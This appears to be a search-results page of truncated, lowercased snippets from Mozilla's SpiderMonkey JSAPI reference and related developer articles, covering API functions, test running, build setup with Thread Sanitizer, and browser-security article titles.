newlength. void clear() clears all elements. bool reserve(size_t
newlength) reserves the array with
newlength. js::mutablehandle<t> operator[](size_t i) returns to the i-th element as js::mutablehandle<t>. js::handle<t> operator[](size_t i) const returns to the i-th element as js::handle<t>. const ...
JS::Compile
ytes is the string containing the text of the script. length indicates the size of the text version of the script in characters. file is the filehandle containing the text of the script. filename is the name of the file (or url) containing the script. this information is included in error messages if an error occurs during compilation.. on success, js::compile stores an object representing the
newly compiled script into script, and returns true. otherwise, it returns false and the value left in script is undefined. see also the jsapi user guide contains example code using compiled scripts. mxr id search for js::compile js::evaluate js::compileoffthread js::compilefunction js_decompilescript bug 771705 bug 1143793 -- removed obj parameter ...
JS::Construct
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. fun js::handlevalue pointer to the function to call. should be a native function or jsapi-compiled function.. args js::handlevaluearray & arguments you are passing to the function. rval js::mutablehandlevalue out parameter. on success, *rval receives the
newly created object from the constructor call. description js::construct calls a specified function as a constructor, fun. for more detail, see js::call, js_callfunction, js_callfunctionname, and js_callfunctionvalue. see also mxr id search for js::construct js::call js_callfunction js_callfunctionname js_callfunctionvalue bug 1017109 ...
JS::PersistentRooted
lue val(cx, persistentval); args.rval().set(val); return true; } static const jsfunctionspec functions[] = { js_fn("getpersistent", getpersistent, 1, 0), js_fn("setpersistent", setpersistent, 0, 0), js_fs_end }; int main(int argc, const char* argv[]) { // initialize runtime // ... // initialize here persistentval.construct(rt, js::nullvalue()); // or // persistentval =
new js::persistentrootedvalue(rt, js::nullvalue()); // [spidermonkey 38] // persistentval.init(rt, js::nullvalue()); // initialize context and global // ... if (!js_definefunctions(cx, glob, functions)) return 1; // use those function in javascript. // destroy context. // ... // destroy here // required because of maybe or pointer. // persistentrooted itself doesn...
JS::Value
already-rooted js::values which you can use for variables. see spidermonkey gc rooting guide. the jsval typedef for js::value js::value was historically known in the jsapi as jsval. spidermonkey 1.8.5 made jsval into a c struct and exposed it in c++ through the full-fledged js::value class. as of spidermonkey 17, jsval is a typedef of js::value, and spidermonkey is gradually transitioning to a
new c++ jsapi, at whose heart lies js::value. jsval is deprecated;
new code should use js::value. the old jsval_is_* methods, jsval_* constants and *_to_jsval methods, and jsval_to_* methods are also deprecated; uses of each should be replaced with use of the corresponding val.is*(), *value(), and val.to*() methods. js type jsval type tests jsval constants and constructors jsval a...
JSAutoByteString
s_encodestring(cx, str). methods method description void initbytes(char *bytes) take ownership of the given byte array. char *encodelatin1(jscontext *cx, jsstring *str) call js_encodestring and take ownership of the returned string, and return the string. char *encodelatin1(js::exclusivecontext *cx, jsstring *str) call js::lossytwobytecharsto
newlatin1charsz, or allocate string and copy the content of jslinearstring::latin1chars, and take the ownership of the string. this may fail if str is not linear. char *encodeutf8(jscontext *cx, js::handlestring str) call js_encodestringtoutf8 and take ownership of the returned string, and return the string. void clear() free the owned string. you should call this before calli...
JSEnumerateOp
define any remaining lazy properties that should be enumerable but are not yet defined in obj. this hook does not implement iteration: once the properties are defined, the javascript engine can enumerate them. jsclass hooks jsclass offers following hook: the jsclass.enumerate hook is for classes that implement lazy properties using jsclass.resolve. see also mxr id search for jsenumerateop js
newenumerateop jsclass ...
JSErrorReport
this attack, html5 specifies that script errors should be sanitized ("muted") when the script is not same-origin with the global for which it is loaded. callers should set this flag for cross-origin scripts, and it will be propagated appropriately to child scripts and passed back in jserrorreports. linebuf const char * text of the line that caused the error, minus the trailing
newline character. tokenptr const char * pointer to the error token in *linebuf. uclinebuf const char16_t * unicode line buffer. this is the buffer that contains the original data. uctokenptr const char16_t * pointer to the error token in *uclinebuf. flags unsigned the logical or of zero or more of the following flags: ...
JSMarkOp
obsolete since jsapi 29this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. jsmarkop is the type of the jsclass.mark callback in spidermonkey 1.7 and earlier. in spidermonkey 1.8, jsmarkop will be deprecated. all
new code using spidermonkey 1.8 or later should use a jstraceop instead to ensure that the tracing apis work properly. syntax typedef uint32 (* jsmarkop)(jscontext *cx, jsobject *obj, void *arg); name type description cx jscontext * the js context in which the mark phase of garbage collection is occurring. obj jsobject * the object to be marked. arg void * opaque data which the mark hook must pass through to js_ma...
JSNative
value slot, and the callee function object are accessible through this pointer using macros described below. description jsnative is the type of native implementations of javascript functions. full documentation of how to define a jsnative (or a jsfastnative, the equivalent typedef which preceded it) is available in the api header "js/callargs.h" added in spidermonkey 24. this header is
new, but the semantics it describes are applicable to all recent spidermonkey releases. the preferred way to implement a function is to use the js::callargs structure defined there; the macros providing equivalent functionality are deprecated. the behavior of a jsnative is implemented using a js::callargs structure added in spidermonkey 17. (this structure is now provided in "js/callargs.h" added i...
JSObjectOps.defineProperty
jspropertyop getter, jspropertyop setter, unsigned int attrs); name type description cx jscontext * pointer to the js context in which the property is being defined. obj jsobject * the object on which the property is being defined. id jsid the name or index of the property to define. value jsval the initial value for the
new property. getter jspropertyop the getter for the
new property. setter jspropertyop the setter for the
new property. attrs unsigned int the property attributes for the
new property. description define obj[id], an own property of obj named id, having the given initial value, with the specified getter, setter, and attributes. ...
JSObjectOps.enumerate
warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. the jsobjectops.enumerate callback implements iteration over object properties. the type of the callback is js
newenumerateop. for native objects, the enumerate callback first checks the jsclass_
new_enumerate flag of the object's class. if the flag is present, enumerate simply delegates the call to jsclass.enumerate. otherwise, it invokes the jsclass.enumerate hook as an old-style jsenumerateop to give the object an opportunity to define any remaining lazy properties. then it iterates over obj's defined properties, walking the internal data structure the...
JSObjectOps.getProperty
the js context in which the property access is happening. obj jsobject * the object to be accessed. id jsid the name or index of the property to access. vp jsval * in/out parameter. see the description section below. description get, set, or delete obj[id], returning js_false on error or exception, js_true on success. if getting or setting, the
new value is returned in *vp on success. if deleting without error, *vp will be jsval_false if obj[id] is permanent, and jsval_true if id named a direct property of obj that was in fact deleted, or if id names no direct property of obj (id could name a property of a prototype, or no property in obj or its prototype chain). this reflects the quirky behavior of delete as specified in ecma 262-3 §11.4...
JSObjectOps.setProto
jscontext * pointer to the js context in which the object's prototype or parent is being modified. obj jsobject * the object whose prototype or parent is being modified. slot uint32 the index of the slot being modified: jsslot_proto for the jsobjectops.setproto callback, and jsslot_parent for the jsobjectops.setparent callback. pobj jsobject * the
new prototype or parent object. description these hooks must check for cycles without deadlocking, and otherwise take special steps. see js_setprototype or js_setparent in js/src/jsobj.cpp for an example. ...
JSVAL_ONE
obsolete since jsapi 42this feature is obsolete. ...
JSVAL_TO_STRING
jsval_to_string casts the argument, v, to type jsstring *. as a precondition, jsval_is_string(v) must be true. this function is not type-safe: if v is not a string, the behavior is undefined. to coerce any value to a string, use the js_valuetostring function instead. (the difference is that the latter will convert an object, array, number, or other value to a string in a type-safe way, creating a
new string if needed.) to convert the return type of this macro (jsstring *) to a char pointer, use js_getstringbytes. see also bug 952650 ...
JSVAL_ZERO
obsolete since jsapi 42this feature is obsolete. ...
JS_AliasElement
lf cannot be assigned to the element, js_aliaselement does not report an error, but returns js_false. once you create an alias, you can reassign it to other elements as needed. aliases can also be deleted. deleting an alias does not delete the element to which it refers. see also js_defineelement js_deleteelement js_getarraylength js_getelement js_isarrayobject js_lookupelement js_
newarrayobject js_setarraylength js_setelement bug 576034 ...
JS_BindCallable
this article covers features introduced in spidermonkey 17 bind the given callable to use the given object as this. syntax jsobject* js_bindcallable(jscontext *cx, js::handle<jsobject*> callable, js::handle<jsobject*>
newthis); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. callable js::handle<jsobject*> pointer to the function object to bind
new this.
newthis js::handle<jsobject*> pointer to the
new this value for callable. description js_bindcallable binds the given callable to use the given object as this. if callable is not callabl...
JS_CStringsAreUTF8
atin-1. that is, each byte is treated as a unicode character, and there is no way to pass in a string containing characters beyond u+00ff. however, spidermonkey can optionally interpret these strings as utf-8. there are two ways to enable this: at compile time, by building spidermonkey with js_c_strings_are_utf8 defined; or at run time, by calling js_setcstringsareutf8 before the first call to js_
newruntime. enabling this option also causes js_getstringbytes and js_encodecharacters to produce utf-8 strings instead of latin-1. js_cstringsareutf8 returns js_true if the javascript engine is configured (either at compile time or at run time) to interpret char strings as utf-8. see also bug 805080 ...
JS_CallFunction
call to js_compilefunction, js_compileucfunction, js_compilefunctionforprincipals, or js_compileucfunctionforprincipals. passing any other jsfunction pointer can lead to a crash or worse. see also mxr id search for js_callfunction mxr id search for js_callfunctionname mxr id search for js_callfunctionvalue js_compilefunction js_definefunction js_definefunctions js_getfunctionobject js_
newfunction js_valuetofunction bug 965830 ...
JS_ClearContextThread
sociated with this context. when the function is used properly, the return value is always zero, indicating that no thread was previously associated with the context. js_clearcontextthread relinquishes the calling thread's right to use cx. it returns the thread id of the last thread to be associated with this context. (this is always the current thread id when the function is used properly.) js_
newcontext automatically associates the
new context with the calling thread. use js_getcontextthread to determine whether a context is associated with a thread. js_setcontextthread and js_clearcontextthread are available only in js_threadsafe builds. mxr id search for js_setcontextthread mxr id search for js_clearcontextthread ...
JS_CompileScript
sult script. description js_compilescript compiles a script, source, for execution. js_compileucscript is the unicode version of the function. the script is associated with a js object. ascii and chars are the string containing the text of the script. length indicates the size of the text version of the script in characters. on success, js_compilescript and js_compileucscript stores the
newly compiled script to *script and returns true. otherwise, they report an error, stores null to *script, and return false. see also the jsapi user guide contains example code using compiled scripts. mxr id search for js_compilescript mxr id search for js_compileucscript js::evaluate js::compileoffthread js::compilefunction js_executescript js_decompilescript bug 1143793 -- removed obj ...
JS_CompileUTF8File
t * object with which the script is associated. filename const char * name of file containing the script to compile. description js_compileutf8file compiles the text of script in an external file location for execution by the js engine. filename is the name of the file containing the script to compile. on success, js_compileutf8file returns an object that represents the
newly compiled script. otherwise it returns null. js_compileutf8file is deprecated, use file, use js::compile instead. see also the jsapi user guide contains example code using compiled scripts. mxr id search for js_compilefile js::compile js_decompilescript js::evaluate js_executescript bug 805080 ...
JS_ContextIterator
s_contextiterator returns the next context in the cycle. iterp must point to a variable of type jscontext *. if *iterp is null, js_contextiterator modifies it to point to the first jscontext in the list. otherwise *iterp must point to an existing context in rt, and js_contextiterator modifies it to point to the next context in the list, if any, and null otherwise. js_contextiterator returns the
new value of *iterp. example the following code snippet illustrates how to cycle through the contexts for a given runtime: jscontext *acx; jscontext *iterp = null; int i = 0; while ((acx = js_contextiterator(rt, &iterp)) != null) { printf("%d ", ++i); } see also mxr id search for js_contextiterator ...
JS_ConvertArguments
out parameters. pointers to variables into which to store the converted values. there must be one pointer for each parameter described in format. variables for optional parameters must already be initialized, because if an optional parameter is not in argv, js_convertarguments does not modify the corresponding variable. the variables do not need to be rooted. (if conversion creates a
new gc thing, the corresponding jsval is written back to argv, which is rooted.) description js_convertarguments provides a convenient way to translate a series of js values into their corresponding js types with a single function call. it saves you from having to write separate tests and elaborate if...else statements in your function code to retrieve and translate multiple js values for use...
JS_DefineConstDoubles
operties on an object. syntax bool js_defineconstdoubles(jscontext *cx, js::handleobject obj, const jsconstdoublespec *cds); bool js_defineconstintegers(jscontext *cx, js::handleobject obj, const jsconstintegerspec *cis); // added in spidermonkey 38 name type description cx jscontext * the context in which to define the
new properties. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object for which to create
new properties. cds jsconstdoublespec * pointer to an array of jsconstdoublespec records containing property names and values to create. the last array element must contain zero-valued members. cis jsconstint...
JS_DefineFunctions
havior is used to select if properties with jsprop_define_late flag should be defined on the object. ...
JS_DefineProperties
properties for a single object. syntax bool js_defineproperties(jscontext *cx, js::handleobject obj, const jspropertyspec *ps); name type description cx jscontext * the context in which to define the properties. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * the object on which to define
new properties. ps const jspropertyspec * pointer to the first element of an array containing names, ids, flags, and getproperty and setproperty method for the properties to create. the last array element must contain 0-valued members. in spidermonkey versions prior to spidermonkey 24, the last argument to js_definepropeties was not const. description js_defineproperties creat...
JS_DestroyContext
mory would be reclaimed to justify the work. in a js_threadsafe build, it does not matter whether the calling thread is in a request on cx. however, there must not be any suspended requests on cx. if js_setcontextcallback has been called, this calls the callback. see also mxr id search for js_destroycontext mxr id search for js_destroycontextnogc mxr id search for js_destroycontextmaybegc js_
newcontext bug 737364 ...
JS_DestroyScript
script jsscript * the script to destroy. description js_destroyscript destroys the given compiled script, freeing the memory allocated to it. the script must not be currently executing (in any context, at any level of the stack) and must not be used again afterwards. at present, this function has no effect; the jsscript lives for as long as its script object lives. see js_
newscriptobject for details. see also mxr id search for js_destroyscript bug 630209 ...
JS_EnumerateDiagnosticMemoryRegions
this article covers features introduced in spidermonkey 17 enumerate memory regions that contain diagnostic information.. syntax void js_enumeratediagnosticmemoryregions(jsenumeratediagnosticmemorycallback callback); name type description callback jsenumeratediagnosticmemorycallback pointer to the
new callback function to use. callback syntax typedef bool (* jsenumeratediagnosticmemorycallback)(void *ptr, size_t length); name type description ptr void * pointer to the allocated memory. length size_t length of the allocated memory. description js_enumeratediagnosticmemoryregions enumerates memory regions that contain diagnostic information intended to be included in crash report minidumps...
JS_EnumerateResolvedStandardClasses
d at any time. try to avoid using it. enumerate any already-resolved standard class ids. syntax jsidarray * js_enumerateresolvedstandardclasses(jscontext *cx, jsobject *obj, jsidarray *ida); name type description description js_enumerateresolvedstandardclasses enumerates any already-resolved standard class ids into ida, or into a
new jsidarray if ida is null. return the augmented array on success, null on failure with ida (if it was non-null on entry) destroyed. see also js_enumerateresolvedstandardclasses bug 884410 ...
JS_ExecuteScript
s request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the scope in which to execute the script. in the simplest cases, this should just be the embedding's global object. obsolete since jsapi 39 obj must not be an array, an e4x xml object, a with object, or a proxy. in ecmascript terms, the script is executed in a
new execution context, but that context is not initialized quite as described in any of the three cases in ecma 262-3 §10.2. instead: the scope chain is initialized to contain obj, followed by its parent, then its parent's parent, etc. until null is reached. variable initialization is performed. if the jsoption_varobjfix option is in effect (recommended), then the last object in the ...
JS_ExecuteScriptVersion
to execute the script. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * the scope in which to execute the script. in the simplest cases, this should just be the embedding's global object. obj must not be an array, an e4x xml object, a with object, or a proxy. in ecmascript terms, the script is executed in a
new execution context, but that context is not initialized quite as described in any of the three cases in ecma 262-3 §10.2. instead: the scope chain is initialized to contain obj, followed by its parent, then its parent's parent, etc. until null is reached. variable initialization is performed. if the jsoption_varobjfix option is in effect (recommended), then the last object in the ...
JS_GET_CLASS
* any context associated with the runtime in which obj exists. obj jsobject * object to get the class from. note: in spidermonkey versions prior to spidermonkey 1.8.8, js_getclass took both a jscontext* and a jsobject* as arguments in thread-safe builds, and in non-thread-safe builds it took only a jsobject*. the js_get_class(cx, obj) macro abstracted away this detail.
newer versions have removed the context argument, so that the same signature is used regardless whether or not the build is thread-safe. description js_get_class returns a pointer to the jsclass associated with a specified js object, obj. the application must treat the jsclass as read-only. to check the type of an object, use js_hasinstance instead. for a stricter, exact-match-only check, use js_inst...
JS_GetClass
ntext * any context associated with the runtime in which obj exists. obj jsobject * object to get the class from. in spidermonkey versions prior to spidermonkey 1.8.8, js_getclass took both a jscontext* and a jsobject* as arguments in thread-safe builds, and in non-thread-safe builds it took only a jsobject*. the js_get_class(cx, obj) macro abstracted away this detail.
newer versions have removed the context argument, so that the same signature is used regardless whether or not the build is thread-safe. description js_getclass returns a pointer to the jsclass associated with a specified js object, obj. the application must treat the jsclass as read-only. if obj has no jsclass, this returns null. to check the type of an object, use js_hasinstance instead. for a stri...
JS_GetElement
ement exists, js_getelement sets *vp to the element's current value. if not, it sets *vp to undefined and returns true (to indicate no error occurred). if the search fails with an error or exception, js_getelement returns false, and the value left in *vp is undefined. see also mxr id search for js_getelement js_defineelement js_deleteelement js_getarraylength js_isarrayobject js_lookupelement js_
newarrayobject js_setarraylength js_setelement ...
JS_GetExternalStringFinalizer
this article covers features introduced in spidermonkey 17 get the string finalizer of an external string. syntax const jsstringfinalizer * js_getexternalstringfinalizer(jsstring *str); name type description str jsstring * a string to get finalizer. description js_getexternalstringfinalizer returns the fin parameter passed to js_
newexternalstring. see also mxr id search for js_ js_
newexternalstring bug 724810 ...
JS_GetGCParameter
lue from 0 - 99). jsgc_pretenure_threshold / "pretenurethreshold" if this percentage of the nursery is tenured and the nursery is at least 4mb, then process object groups to look for pretenuring candidates. jsgc_pretenure_group_threshold / "pretenuregroupthreshold" if more than this number of objects in a given object group are tenured, then pretenruing will be enabled for
new objects in this group. jsgc_min_last_ditch_gc_period / "minlastditchgcperiod" the minimum time to allow between triggering last ditch gcs in seconds. description js_getgcparameter returns the current parameter of the garbage collection. if successful, js_getgcparameter returns the current parameter. js_setgcparameter ajusts the parameter of the garbage collection. see also ...
JS_GetPrivate
access the private data field of an object. syntax void * js_getprivate(jsobject *obj); name type description obj jsobject * an object whose jsclass has the jsclass_has_private flag. description js_getprivate accesses an object's private data field. obj must be an instance of a class that has the jsclass_has_private flag.
new objects' private data fields are initially null. if obj is a function object, as reported by js_objectisfunction, the private data is a pointer to a jsfunction. (but consider using js_valuetofunction instead to access it.) warning: it is dangerous to call js_getprivate on a jsobject * unless the object's jsclass is known. if the object is not of the expected jsclass, the result of js_getprivate would probably be null or a poi...
JS_GetRegExpFlags
expflags(jscontext *cx, handleobject obj) name type description cx jscontext * a context. obj js::handleobject the object to get the flags. description js_getregexpflags returns flags of the specified object, obj. if successful, js_getregexpflags returns the flags, otherwise returns false. see also mxr id search for js_getregexpflags js_
newregexpobject js_
newucregexpobject flags regexp bug 655641 ...
JS_GetRegExpSource
name type description cx jscontext * a context. obj js::handleobject the object to get the source string. description js_getregexpsource returns a source string of the specified object, obj. if successful, js_getregexpsource returns a pointer to the source string, otherwise returns null. see also mxr id search for js_getregexpsource js_
newregexpobject js_
newucregexpobject regexp bug 655641 ...
JS_GetReservedSlot
ter values (whose lowest bit is 0) or uint32_t, when non-javascript values must be stored; the garbage collector ignores such values when it sees them. (note that private values must not be exposed directly to javascript. it's only legal to store and retrieve data from private values. they cannot be returned from functions, set as properties on objects, embedded in javascript arrays, and so on.)
new objects' reserved slots are initialized to undefined. see also mxr id search for js_getreservedslot mxr id search for js_setreservedslot bug 1184564 -- changed jsval to js::value ...
JS_GetSecurityCallbacks
ontext *cx, jssecuritycallbacks *callbacks); jssecuritycallbacks * js_getruntimesecuritycallbacks(jsruntime *rt); jssecuritycallbacks * js_setruntimesecuritycallbacks(jsruntime *rt, jssecuritycallbacks *callbacks); name type description rt jsruntime * a runtime to get/set the security callbacks. callbacks const jssecuritycallbacks * a pointer to the
new callbacks for the runtime. callback structure struct jssecuritycallbacks { jscspevalchecker contentsecuritypolicyallows; // added in spidermonkey 1.8.5 jssubsumesop subsumes; // added in spidermonkey 31 jscheckaccessop checkobjectaccess; // obsolete since jsapi 29 jsprincipalstranscoder principalstranscoder; // obsolete since jsap...
JS_SetErrorReporter
lbacks, the error reporter callback must not throw a c++ exception. note that js_seterrorreporter has no facility to directly pass a user data pointer to the error reporting function. you can work around this by using the js_setruntimeprivate and js_getruntimeprivate methods. ...
JS_SetGCZeal
collect on window paints. 4 verify pre write barriers between instructions. 5 verify pre write barriers between window paints. 6 verify stack rooting. 7 collect the nursery every frequency nursery allocations. 8 incremental gc in two slices: 1) mark roots 2) finish collection. 9 incremental gc in two slices: 1) mark all 2)
new marking and finish. 10 incremental gc in multiple slices. 11 verify post write barriers between instructions. 12 verify post write barriers between paints. 13 check internal hashtables on minor gc. 14 perform a shrinking collection every frequency allocations. with gc zeal enabled, gc-related crashes are much easier to reproduce (t...
JS_SetObjectPrincipalsFinder
-principals-finder callback. this function is deprecated. in spidermonkey 1.8.1 or later, use js_setruntimesecuritycallbacks instead. syntax jsobjectprincipalsfinder js_setobjectprincipalsfinder(jsruntime *rt, jsobjectprincipalsfinder fop); name type description rt jsruntime * the runtime to configure. fop jsobjectprincipalsfinder the
new object-principals-finder callback. description js_setobjectprincipalsfinder allows the application to set a callback that the javascript engine uses to obtain an object's principals. this callback is described in jsobjectprincipalsfinder. js_setobjectprincipalsfinder returns the previous object-principals-finder callback. mxr id search for js_setobjectprincipalsfinder ...
JS_SetOptions
still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. enables and disables options on a jscontext, replacing all previously set options. syntax uint32 js_setoptions(jscontext *cx, uint32 options); name type description cx jscontext * a context on which to set options. options uint32 the
new set of options. this is the logical or of zero or more flags described below. description js_setoptions sets the option flags of a given js context cx. this function returns a uint32 value containing the previous values of the flags. to turn individual options on or off, use js_setoptions with js_getoptions: // turn on warnings for dubious practices js_setoptions(cx, js_getoptions(cx) | jso...
JS_SetParent
curity features typically use the parent relation to determine both (a) what security principals are attached to the currently executing script; and (b) what security principals are attached to the object being accessed. (for some function objects, the parent chain is also used to implement lexical scoping, but this should be considered an implementation detail.) ordinarily an application sets a
new object's parent by passing the parent object to js_
newobject, and that is the preferred approach. but an application may instead use js_setparent after the object is created. applications can get an object's parent using js_getparent. scripts can determine an object's parent by using the __parent__ property, but scripts cannot assign to the __parent__ property. in fact, once an object is exposed...
JS_SetPendingException
text * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. v js::handlevalue value to throw as an exception. description js_setpendingexception sets the current exception being thrown within a context. if an exception is already being thrown, it is replaced with the
new one given. v is the
new value to throw as an exception. a native function or hook using this to throw an exception must also return false to ensure the exception is thrown. each jscontext's pending-exception field is a gc root. that is, garbage collection never collects a pending exception. see examples in the jsapi phrasebook. see also mxr id search for js_setpendingexception js_isexceptionpe...
JS_SetPrincipalsTranscoder
ntime-wide principals transcoder callback. this function is deprecated. in spidermonkey 1.8.1 or later, use js_setruntimesecuritycallbacks instead. syntax jsprincipalstranscoder js_setprincipalstranscoder(jsruntime *rt, jsprincipalstranscoder px); name type description rt jsruntime * the runtime to configure. px jsprincipalstranscoder the
new principals transcoder. description js_setprincipalstranscoder sets a runtime-wide callback which the javascript engine uses to serialize and deserialize principals. this callback is described at jsprincipalstranscoder. js_setprincipalstranscoder returns the previous principals transcoder. mxr id search for js_setprincipalstranscoder ...
JS_SetPrototype
e(jscontext *cx, js::handleobject obj, js::handleobject proto); name type description cx jscontext * the context in which to set the object's prototype. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to modify. proto js::handleobject the object to set as the
new prototype of obj. description js_setprototype sets the prototype object for a specified object. a prototype object provides properties that are shared by similar js object instances. ordinarily you set a prototype for an object when you create the object with js_
newobject, but if you do not set a prototype at that time, you can later call js_setprototype to do so. obj is a pointer to an exi...
JS_SetScriptStackQuota
description set the quota on the number of bytes that stack-like data structures can use when the runtime compiles and executes scripts. these structures also consume heap space, so js_setthreadstacklimit does not bound their size. the default quota is 32mb which is quite generous. the function must be called before any script compilation or execution api calls, i.e. either immediately after js_
newcontext or from the jscontext_
new context callback. see also mxr id search for js_setscriptstackquota bug 644241 ...
JS_THREADSAFE
et, buf, size, flags); js_resumerequest(cx, rc); ... } garbage collection requests help make garbage collection safe when multiple threads are using the jsapi. for each thread that is in a request: almost any call into the jsapi may trigger garbage collection; but garbage collection does not happen at any other time (such as, for example, at the moment before the return value of js_
newobject is assigned to a rooted variable). these are actually the same rules that apply to single-threaded jsapi programs. but in multithreaded programs, if you break the rules, your program is more likely to crash. this is because in single-threaded programs, a random call into the jsapi is actually pretty unlikely to trigger gc, especially if the calling thread has not been using up a lot of me...
JS_ThrowStopIteration
name type description cx jscontext * the context in which to throw the stopiteration object. description js_throwstopiteration throws the appropriate stopiteration object for the function currently executing in cx. in for…in and for each…in loops, the javascript engine can create an iterator object and call its .next method repeatedly, as described in
new in javascript 1.7: iterators. the .next method may throw stopiteration when there are no more values left to iterate. the engine automatically catches the exception and exits the loop. jsclass.enumerate offers a simpler way to customize object iteration. see also mxr id search for js_throwstopiteration js_isstopiteration bug 390947 ...
JS_ValueToBoolean
ript value, v, to a boolean value. it implements the toboolean operator specified in ecma 262-3 §9.2. on success, js_valuetoboolean stores the converted value in *bp and returns js_true. on error or exception, it returns js_false, and the value left in *bp is undefined. for versions greater than jsversion_1_2, all objects convert to js_true, even boolean wrapper objects like the one produced by
new boolean(false). this is the behavior specified in ecma 262-3 §9.2. see related discussion on google groups. see also mxr id search for js_valuetoboolean js::toboolean bug 934557 ...
JS_ValueToObject
object. description js_valuetoobject converts a specified javascript value, v, to an object. on success, this function stores either null or a pointer to the resulting object in *objp and returns true. otherwise it returns false and the value left in *objp is unspecified. if v is jsval_null or jsval_void, the result is null. if v is a boolean value, a number, or a string, the result is a
new wrapper object of type boolean, number, or string. otherwise v is an object, and the result depends on the object. if v is a native javascript object, this calls the object's valueof method, if any. in any case, the result is not guaranteed to be the same object as v. (implementation note: the object's jsobjectops.defaultvalue method is called with hint=jstype_object.) the resulting object is s...
Property attributes
e right thing for properties that have getters or setters. this has three effects: the javascript engine does not set aside any memory for the property's value. the value is determined entirely by the getter. (the property has no stored value.) assignment via the prototype chain is affected. assigning to obj.x, where obj inherits a non-shared property from its prototype, creates a
new own data property on obj; the prototype's .x is not shared with its children. if the inherited property is shared, the setter is called instead. if the property is also jsprop_permanent, then certain aspects of inheriting the property via the prototype chain are affected. do not depend on this. see bug 575997. mxr id search for jsprop_shared jsprop_index the pr...
Stored value
in the jsapi, the stored value of an object property is its last known value. for a data property, this is exactly the same thing as the property's current value. the javascript engine sets aside a field of type jsval for the stored value of most object properties, even properties that have getters. the stored value is updated each time the program gets or sets the property. the
new stored value is the result of getting or setting the property, after the getter or setter, if any, is called. js_defineproperty allows the application to specify a property's initial stored value. js_lookupproperty fetches a property's stored value without triggering its getter. properties with the jsprop_shared attribute do not have a stored value. es5 accessor properties, as in {get length() { return 0; ...
Running Automated JavaScript Tests
ly the tests in the given filename, and then will write the list of tests that failed when it is done. thus, you can keep retesting as you fix bugs and only the tests that failed the last time will run, speeding things up a bit. running jit-tests on treeherder when viewing treeherder after a push to the mozilla repositories, jit-tests are run by calling make check, and appear under b. creating
new tests for jit-tests creating
new tests for jit-tests is easy. just add a
new js file to the tests/basic directory (or any appropriate directory under 'tests'). the test harness will automatically find the test and run it. the test is considered to pass if the exit code of the js shell is zero (i.e., js didn't crash and there were no js errors). use the asserteq function to verify values in your ...
Setting up CDT to work on SpiderMonkey
pse and setting up the project the following run-down is a condensed and updated version of what is explained in much more detail for the entire mozilla codebase. luckily, improvements in cdt have reduced the basic process to manageable five steps: download and extract "eclipse ide for c/c++ developers" from the eclipse downloads page. start eclipse and create a workspace somewhere. select "
new > makefile project with existing code" from the "file" menu. give the project a name that you like ("spidermonkey" has a nice ring to it) and use the "browser…" button to select your checkout's js/src folder for the "existing code location". choose the correct toolchain for your platform (i.e. macos x gcc on mac) and click "finish". at this point, the indexer starts running and already prod...
Split object
ceed. this makes the problem resistant to a wrapper-based approach.) older versions of firefox accomplished this by blowing away all window properties every time a user navigated to another page, then reusing the window. each page, even on back, had to load from scratch. this was slow. circa firefox 1.5, the decision was made to cache layout information and javascript state across navigation. a
new approach for window was needed. security privileges are granted to js code on the basis of the scope chain of the executing code. spidermonkey walks up the scope chain to the nearest object that has jsprincipals attached. the end of the scope chain is the global object for the script. but what jsprincipals should be attached to a window object? the principals of the page the window is cur...
SpiderMonkey: The Mozilla JavaScript runtime
w you can embed engine calls in your applications to make them javascript-aware. jsapi cookbook shows the jsapi translation of some commonly used javascript expressions and statements. gc rooting guide guide on how to write code compatible with the generational gc in spidermonkey. how to embed the javascript engine an older tutorial about embedding spidermonkey. hacking on spidermonkey
new to spidermonkey a guide to hacking on spidermonkey. setting up cdt to work on spidermonkey how to configure eclipse to work on the spidermonkey code. running automated javascript tests how to run the javascript test suites. creating javascript tests how to add tests to the javascript test suites. reference jsapi reference spidermonkey api reference. js debugger api reference a...
Thread Sanitizer
you want to build only the javascript shell instead of doing a full firefox build, the build script below will probably help you to do so. before using it, you must of course adjust the path name for llvm_root to match your setup. once you have adjusted everything, execute this script in the js/src/ subdirectory and pass a directory name as the first parameter. the build will then be created in a
new subdirectory with that name. #! /bin/sh if [ -z $1 ] ; then echo "usage: $0 <dirname>" elif [ -d $1 ] ; then echo "directory $1 already exists" else autoconf2.13 mkdir $1 cd $1 llvm_root="/path/to/llvm" cc="$llvm_root/build/bin/clang" \ cxx="$llvm_root/build/bin/clang++" \ cflags="-fsanitize=thread -fpic -pie" \ cxxflags="-fsanitize=thread -fpic -pie" \ ...
The Rust programming language
it prevents segmentation faults and guarantees thread safety, all with an easy-to-learn syntax. in addition, rust offers zero-cost abstractions, move semantics, guaranteed memory safety, threads with no data races, trait-based generics, pattern matching, type inference, and efficient c bindings, with a minimum runtime size. to learn more about rust, you can: watch the videos below for a closer look at the power and benefits rust provides. read the book the rust programming language online. ...
Browser security
web pki x509 certificate primerx.509 (in this document referred as x509) is an itu standard to describe certificates. this article provides an overview of what these are and how they work.exploitable crashesthis article will help you determine if a crash is exploitable, find crashes which are exploitable, and to fix exploitable crashes.handling mozilla security bugsthis document describes how the
new security organizational structure will work, and how security-related mozilla bug reports will be handled.pinning violation reportsif a site makes use of key pinning, and your browser sees a certificate chain for that site which does not match the pin, firefox will reject the connection and display an error page. secure development guidelinesthe following content will likely see significant r...
Setting up an update server
uild firefox should otherwise be built normally. after building, you may want to copy the installation of firefox elsewhere. if you update the installation without moving it, attempts at further incremental builds will not work properly, and a clobber will be needed when building next. to move the installation, first call ./mach package, then you can either copy <obj dir>/dist/firefox to a
